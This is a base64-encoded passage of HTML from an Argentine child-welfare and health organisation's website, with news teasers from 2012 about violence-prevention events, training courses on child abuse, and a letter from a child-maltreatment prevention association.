CAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3Rk